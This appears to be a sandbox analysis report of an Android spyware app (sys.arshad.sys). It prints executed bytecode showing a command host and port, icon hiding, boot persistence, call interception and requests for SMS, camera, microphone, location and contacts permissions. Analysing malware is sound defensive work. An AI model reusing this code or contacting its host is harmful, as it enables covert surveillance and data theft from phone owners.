  • android.support.v4.b.d.a
  • java.lang.String.trim
  • java.lang.Integer.parseInt
  • java.lang.String.trim
  • android.content.Context.getString
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$a.<init>
  • sys.arshad.sys.MainActivity$a.execute
  • android.app.Activity.onBackPressed
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • sys.arshad.sys.MainActivity.x
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.b
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startService
  • sys.arshad.sys.MainActivity.d
Strings
  • Msg
  • 2222
  • arshad93.ddns.net
  • hackeer-arshad
  • Stop
  • start
Position Instruction Meta Information
1invoke-static {p0}, Landroid/support/v4/b/d;->a(Landroid/content/Context;)Landroid/support/v4/b/d;
  • Time: 55372
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • Return:
      • android.app.Application@2c4131cb
2move-result-object v0
4iget-object v1, p0, Lsys/arshad/sys/MainActivity;->ab:Landroid/content/BroadcastReceiver;
5new-instance v2, Landroid/content/IntentFilter;
7const-string v3, "Msg"
9invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Msg
11invoke-virtual {v0, v1, v2}, Landroid/support/v4/b/d;->a(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)V
12const v0, 0x7f070026
14invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 55373
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • resId: 2131165222
    • Return:
      • 2222
15move-result-object v0
17invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
18move-result-object v0
20invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
21move-result v0
22iput v0, p0, Lsys/arshad/sys/MainActivity;->g:I
23const v0, 0x7f070024
25invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 55374
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • resId: 2131165220
    • Return:
      • arshad93.ddns.net
26move-result-object v0
28invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
29move-result-object v0
31invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
32move-result-object v0
33iput-object v0, p0, Lsys/arshad/sys/MainActivity;->f:Ljava/lang/String;
34const v0, 0x7f070028
36invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 55376
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • resId: 2131165224
    • Return:
      • hackeer-arshad
37move-result-object v0
39invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
40move-result-object v0
42invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
43move-result-object v0
44iput-object v0, p0, Lsys/arshad/sys/MainActivity;->K:Ljava/lang/String;
45new-instance v0, Lsys/arshad/sys/MainActivity$a;
46const/4 v1, 0x0
48invoke-direct {v0, p0, v1}, Lsys/arshad/sys/MainActivity$a;-><init>(Lsys/arshad/sys/MainActivity;Lsys/arshad/sys/MainActivity$1;)V
  • Data flow analysis:
    • p1: 0
49const/4 v1, 0x0
50new-array v1, v1, [Ljava/lang/Void;
52invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
53sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
54const/16 v1, 0x17
55if-lt v0, v1, :cond_79
56goto_55:
57invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V
59invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
60move-result-object v0
61new-instance v1, Landroid/content/ComponentName;
62const-class v2, Lsys/arshad/sys/MainActivity;
64invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
65const/4 v2, 0x2
66const/4 v3, 0x1
68invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 2
    • flags: 1
70invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->x()Ljava/lang/String;
  • Time: 55384
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • Return:
      • Stop
71move-result-object v0
73const-string v1, "start"
75invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: start
76move-result v0
77const/4 v1, -0x1
78if-ne v0, v1, :cond_84
79goto_75:
80invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->b()V
81return-void
82cond_79: new-instance v0, Landroid/content/Intent;
83const-class v1, Lsys/arshad/sys/AutoStartUp;
85invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
87invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 55378
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • p0: Intent { cmp=sys.arshad.sys/.AutoStartUp }
    • Return:
      • ComponentInfo{sys.arshad.sys/sys.arshad.sys.AutoStartUp}
88goto/16 :goto_55
89cond_84:
90const-string v0, "start"
91iput-object v0, p0, Lsys/arshad/sys/MainActivity;->L:Ljava/lang/String;
93invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->d()V
94goto/16 :goto_75
APIs
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startService
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.Exception.printStackTrace
Strings
  • android.intent.action.BOOT_COMPLETED
  • Error 17
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 179737
    • This:
      • Intent { act=android.intent.action.BOOT_COMPLETED }
    • Return:
      • android.intent.action.BOOT_COMPLETED
2move-result-object v0
4const-string v1, "android.intent.action.BOOT_COMPLETED"
6invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Time: 179743
    • This:
      • android.intent.action.BOOT_COMPLETED
    • p0: android.intent.action.BOOT_COMPLETED
    • Return:
      • true
7move-result v0
8if-eqz v0, :cond_16
9try_start_c: new-instance v0, Landroid/content/Intent;
10const-class v1, Lsys/arshad/sys/AutoStartUp;
12invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
14invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 179745
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • p0: Intent { cmp=sys.arshad.sys/.AutoStartUp }
    • Return:
      • ComponentInfo{sys.arshad.sys/sys.arshad.sys.AutoStartUp}
15try_end_16: return-void
16catch_17: move-exception v0
18sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
19new-instance v2, Ljava/lang/StringBuilder;
21invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
23invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
24move-result-object v2
26const-string v3, " Error 17"
28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error 17
29move-result-object v2
31invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v2
34invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
36invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
37goto/16 :goto_16
Cross References
APIs
  • android.content.ContextWrapper.openFileOutput
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.io.FileNotFoundException.printStackTrace
  • java.io.IOException.printStackTrace
Strings
  • IM.txt
Position Instruction Meta Information
0try_start_0:
1const-string v0, "IM.txt"
2const/4 v1, 0x0
4invoke-virtual {p0, v0, v1}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Time: 55367
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • p0: java.io.FileOutputStream@2d240f43
    • p1: IM.txt
    • p2: 0
5move-result-object v0
7invoke-virtual {p1}, Ljava/lang/String;->toString()Ljava/lang/String;
8move-result-object v1
10invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
11move-result-object v1
13invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
15invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
16try_end_15: return-void
17catch_16: move-exception v0
19invoke-virtual {v0}, Ljava/io/FileNotFoundException;->printStackTrace()V
20goto/16 :goto_15
21catch_1b: move-exception v0
23invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
24goto/16 :goto_15
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.net.NetworkInfo.toString
Strings
  • connectivity
  • No
Position Instruction Meta Information
0try_start_0:
1const-string v0, "connectivity"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 55402
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • name: connectivity
    • Return:
      • android.net.ConnectivityManager@394c19c6
4move-result-object v0
5check-cast v0, Landroid/net/ConnectivityManager;
7invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
8move-result-object v0
10invoke-virtual {v0}, Landroid/net/NetworkInfo;->toString()Ljava/lang/String;
11move-result-object v0
12iput-object v0, p0, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
13try_end_12:
14iget-object v0, p0, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
15return-object v0
16catch_15: move-exception v0
18const-string v0, "No"
19iput-object v0, p0, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
20goto/16 :goto_12
Cross References
APIs
  • android.net.ConnectivityManager.getActiveNetworkInfo
Strings
  • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->G()Ljava/lang/String;
  • Time: 55449
    • This:
      • android.net.ConnectivityManager@394c19c6
    • Return:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
2move-result-object v0
3return-object v0
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • java.lang.String.equals
  • sys.arshad.sys.PhonecallReceiver.a
  • java.lang.String.equals
Strings
  • android.intent.action.NEW_OUTGOING_CALL
  • android.intent.action.PHONE_STATE
  • 9876543210
  • android.intent.extra.PHONE_NUMBER
  • RINGING
  • state
  • 0123456789
  • incoming_number
  • IDLE
  • OFFHOOK
Position Instruction Meta Information
0const/4 v0, 0x0
2invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 195746
    • This:
      • Intent { act=android.intent.action.PHONE_STATE (has extras) }
    • Return:
      • android.intent.action.PHONE_STATE
  • Time: 197746
    • This:
      • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
    • Return:
      • android.intent.action.NEW_OUTGOING_CALL
3move-result-object v1
5const-string v2, "android.intent.action.NEW_OUTGOING_CALL"
7invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.NEW_OUTGOING_CALL
8move-result v1
9if-eqz v1, :cond_1e
11invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 197748
    • This:
      • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
    • Return:
      • Bundle[{android.intent.extra.PHONE_NUMBER=9876543210}]
12move-result-object v0
14const-string v1, "android.intent.extra.PHONE_NUMBER"
16invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 197749
    • This:
      • Bundle[{android.intent.extra.PHONE_NUMBER=9876543210}]
    • p0: android.intent.extra.PHONE_NUMBER
    • Return:
      • 9876543210
17move-result-object v0
18sput-object v0, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
20sget-object v0, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
21sput-object v0, Lsys/arshad/sys/MainActivity;->e:Ljava/lang/String;
22goto_1d: return-void
23cond_1e:
24invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 195750
    • This:
      • Intent { act=android.intent.action.PHONE_STATE (has extras) }
    • Return:
      • Bundle[{incoming_number=0123456789, state=RINGING}]
25move-result-object v1
27const-string v2, "state"
29invoke-virtual {v1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 195752
    • This:
      • Bundle[{incoming_number=0123456789, state=RINGING}]
    • p0: state
    • Return:
      • RINGING
30move-result-object v1
32invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 195754
    • This:
      • Intent { act=android.intent.action.PHONE_STATE (has extras) }
    • Return:
      • Bundle[{incoming_number=0123456789, state=RINGING}]
33move-result-object v2
35const-string v3, "incoming_number"
37invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 195755
    • This:
      • Bundle[{incoming_number=0123456789, state=RINGING}]
    • p0: incoming_number
    • Return:
      • 0123456789
38move-result-object v2
40sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
  • Time: 195756
    • Return:
      • IDLE
42invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
43move-result v3
44if-eqz v3, :cond_3e
45cond_3a:
46invoke-virtual {p0, v0, v2}, Lsys/arshad/sys/PhonecallReceiver;->a(ILjava/lang/String;)V
47goto/16 :goto_1d
48cond_3e:
49sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_OFFHOOK:Ljava/lang/String;
  • Time: 195758
    • Return:
      • OFFHOOK
51invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
52move-result v3
53if-eqz v3, :cond_48
54const/4 v0, 0x2
55goto/16 :goto_3a
56cond_48:
57sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
  • Time: 195759
    • Return:
      • RINGING
59invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
60move-result v1
61if-eqz v1, :cond_3a
62const/4 v0, 0x1
63goto/16 :goto_3a
APIs
  • android.app.Activity.onCreate
  • sys.arshad.sys.MainActivity.setContentView
  • sys.arshad.sys.MainActivity.m
  • java.util.Random.<init>
  • java.util.Random.nextInt
  • java.lang.String.valueOf
  • sys.arshad.sys.MainActivity.a
  • android.support.v4.a.a.a
  • sys.arshad.sys.MainActivity.c
Strings
  • nice
  • 792562219
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.CAMERA
  • android.permission.RECORD_AUDIO
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
Position Instruction Meta Information
0try_start_0:
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
2const v0, 0x7f04001b
4invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->setContentView(I)V
  • Time: 55344
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • layoutResID: 2130968603
6invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->m()Ljava/lang/String;
  • Time: 55364
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • Return:
      • null
  • Time: 55424
    • This:
      • 792562219
    • p0: [B@36dfc4b4
    • p0: 792562219
    • p0: 373932353632323139
    • Return:
      • 792562219
  • Time: 55426
    • This:
      • sys.arshad.sys.MainActivity@3ad1ce1c
    • Return:
      • nice
7move-result-object v0
9const-string v1, "nice"
10if-eq v0, v1, :cond_24
11new-instance v0, Ljava/util/Random;
13invoke-direct {v0}, Ljava/util/Random;-><init>()V
14const v1, 0x3b9aca00
16invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
  • Data flow analysis:
    • p0: 1000000000
17move-result v0
19invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
20move-result-object v0
22invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->a(Ljava/lang/String;)V
  • Time: 55370
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • p0: 792562219
    • Return:
      • null
23cond_24: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
24const/16 v1, 0x17
25if-lt v0, v1, :cond_61
26const/4 v0, 0x1
27const/4 v1, 0x7
28new-array v1, v1, [Ljava/lang/String;
29const/4 v2, 0x0
31const-string v3, "android.permission.READ_SMS"
32aput-object v3, v1, v2
33const/4 v2, 0x1
35const-string v3, "android.permission.READ_EXTERNAL_STORAGE"
36aput-object v3, v1, v2
37const/4 v2, 0x2
39const-string v3, "android.permission.ACCESS_FINE_LOCATION"
40aput-object v3, v1, v2
41const/4 v2, 0x3
43const-string v3, "android.permission.CAMERA"
44aput-object v3, v1, v2
45const/4 v2, 0x4
47const-string v3, "android.permission.RECORD_AUDIO"
48aput-object v3, v1, v2
49const/4 v2, 0x5
51const-string v3, "android.permission.READ_CONTACTS"
52aput-object v3, v1, v2
53const/4 v2, 0x6
55const-string v3, "android.permission.CALL_PHONE"
56aput-object v3, v1, v2
58invoke-static {p0, v1}, Lsys/arshad/sys/MainActivity;->a(Landroid/content/Context;[Ljava/lang/String;)Z
59move-result v2
60if-nez v2, :cond_5b
62invoke-static {p0, v1, v0}, Landroid/support/v4/a/a;->a(Landroid/app/Activity;[Ljava/lang/String;I)V
  • Data flow analysis:
    • p2: 1
63goto_5a: return-void
64cond_5b:
65invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->c()V
66goto/16 :goto_5a
67catch_5f: move-exception v0
68goto/16 :goto_5a
69cond_61:
70invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->c()V
71try_end_64: goto/16 :goto_5a
Cross References
APIs
  • android.content.Context.getString
  • java.lang.String.trim
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.n
  • sys.arshad.sys.MainActivity.o
Strings
  • -soniac_messenger_4794932.apk
  • nothing
  • nice
Position Instruction Meta Information
0const v0, 0x7f070023
2invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 65412
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • resId: 2131165219
    • Return:
      • -soniac_messenger_4794932.apk
3move-result-object v0
5invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
6move-result-object v0
8const-string v1, "nothing"
10invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: nothing
11move-result v0
12const/4 v1, -0x1
13if-ne v0, v1, :cond_1f
15invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->n()Ljava/lang/String;
  • Time: 65446
    • This:
      • sys.arshad.sys.MainActivity@e1f218d
    • Return:
      • null
16move-result-object v0
18const-string v1, "nice"
19if-eq v0, v1, :cond_1f
21invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->o()V
22cond_1f: return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.openFileInput
  • java.io.FileInputStream.available
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.io.FileInputStream.close
Strings
  • IM.txt
  • nice
Position Instruction Meta Information
0try_start_0:
1const-string v0, "IM.txt"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->openFileInput(Ljava/lang/String;)Ljava/io/FileInputStream;
  • Time: 55401
    • This:
      • sys.arshad.sys.MainActivity@3ad1ce1c
    • p0: IM.txt
    • Return:
      • java.io.FileInputStream@303bb008
4move-result-object v0
6invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I
7move-result v1
8new-array v1, v1, [B
10invoke-virtual {v0, v1}, Ljava/io/FileInputStream;->read([B)I
11new-instance v2, Ljava/lang/String;
13invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
15invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
17const-string v0, "nice"
18try_end_19: return-object v0
19catch_1a: move-exception v0
20goto_1b: const/4 v0, 0x0
21goto/16 :goto_19
22catch_1d: move-exception v0
23goto/16 :goto_1b

300 Non-Executed Methods

APIs
  • sys.arshad.sys.MainActivity$c.<init>
  • sys.arshad.sys.MainActivity$c.a
  • sys.arshad.sys.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getDeviceId
  • sys.arshad.sys.MainActivity.g
  • java.lang.StringBuilder.<init>
  • sys.arshad.sys.MainActivity.h
  • java.lang.StringBuilder.append
  • sys.arshad.sys.MainActivity.g
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.A
  • sys.arshad.sys.MainActivity.j
  • java.lang.String.split
  • java.lang.String.hashCode
  • android.telephony.TelephonyManager.getDeviceId
  • java.lang.StringBuilder.<init>
  • sys.arshad.sys.MainActivity.h
  • java.lang.StringBuilder.append
  • android.telephony.TelephonyManager.getDeviceId
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.k
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.n
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.i
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.j
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.B
  • java.lang.String.indexOf
  • java.lang.String.trim
  • java.lang.String.replace
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.p
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.q
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.C
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.r
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.D
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.c
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.i
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.h
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.j
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.k
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.k
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.d
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.s
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.j
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.i
  • java.io.PrintStream.println
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.a
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.l
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.o
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.m
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.c
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.l
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.d
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.getApplicationContext
  • java.lang.String.replace
  • java.lang.String.trim
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.setGravity
  • android.widget.Toast.show
  • android.widget.Toast.setGravity
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.m
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.e
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.f
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.g
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.c
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.d
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.e
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.f
  • java.lang.String.indexOf
  • java.lang.StringBuilder.<init>
  • java.lang.String.trim
  • java.lang.StringBuilder.append
  • java.lang.String.trim
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity$b.n
  • java.lang.String.indexOf
  • java.lang.StringBuilder.<init>
  • java.lang.String.trim
  • java.lang.StringBuilder.append
  • java.lang.String.trim
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.j
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.u
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.v
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.g
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.p
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.E
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.h
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.e
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.q
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.b
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.r
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.s
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.f
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.g
  • java.lang.String.indexOf
  • java.lang.System.exit
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.F
  • java.lang.String.indexOf
  • java.io.PrintStream.println
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.G
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.c
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity.k
  • java.lang.String.indexOf
  • java.lang.String.trim
  • sys.arshad.sys.MainActivity$b.a
  • sys.arshad.sys.MainActivity$b.t
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.b
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity$b.b
Strings
  • phone
  • _
  • :
  • A0
  • A1
  • A2
  • A3
  • A4
  • A5
  • A6
  • A7
  • A8
  • A9
  • A10
  • A11
  • A12
  • A13
  • A14
  • A15
  • A16
  • A17
  • A18
  • A19
  • A20
  • A21
  • A22
  • A23
  • A24
  • A25
  • A26
  • A27
  • A28
  • A29
  • A30
  • A31
  • A32
  • A33
  • A34
  • A35
  • A36
  • A37
  • A38
  • A39
  • A40
  • A41
  • A42
  • A43
  • A44
  • A45
  • A46
  • A47
  • A48
  • A49
  • A50
  • A51
  • A52
  • A53
  • A54
  • A55
  • A56
  • A57
  • A58
  • A59
  • A60
  • A61
  • A62
  • A63
  • A64
  • A65
  • A66
  • A67
  • A68
  • A69
  • A70
  • A71
  • A72
  • A73
  • dt7C1uP3c2al6l0ib
  • GetGPS(scr|eam)
  • ;
  • content://browser/bookmarks
  • |L|n|
  • \n
  • **********************************
Position Instruction Meta Information
0const/4 v5, 0x3
1const/4 v4, 0x2
2const/4 v1, 0x0
3const/4 v2, -0x1
4const/4 v3, 0x1
5try_start_5: new-instance v0, Lsys/arshad/sys/MainActivity$c;
